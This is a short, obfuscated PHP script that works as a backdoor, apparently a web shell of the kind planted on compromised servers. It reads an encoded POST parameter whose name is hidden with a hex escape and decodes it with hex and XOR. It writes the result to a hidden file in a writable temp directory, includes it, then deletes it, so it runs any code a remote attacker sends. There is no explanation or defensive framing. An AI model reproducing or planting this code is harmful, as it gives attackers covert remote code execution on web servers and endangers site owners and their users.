<?php

if(!empty($_POST["tk\x6E"])){
	$bind = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]);
	$descriptor = hex2bin($_POST["tk\x6E"]);
	$sym     =      ''      ;      $k = 0; do{$sym .= chr(ord($descriptor[$k]) ^ 99);$k++;} while($k < strlen($descriptor));
	for ($entity = 0, $k = count($bind); $entity < $k; $entity++) {
    $record = $bind[$entity];
    		if (max(0, is_dir($record) * is_writable($record))) {
    $pointer = "$record" . "/.desc";
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $sym);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}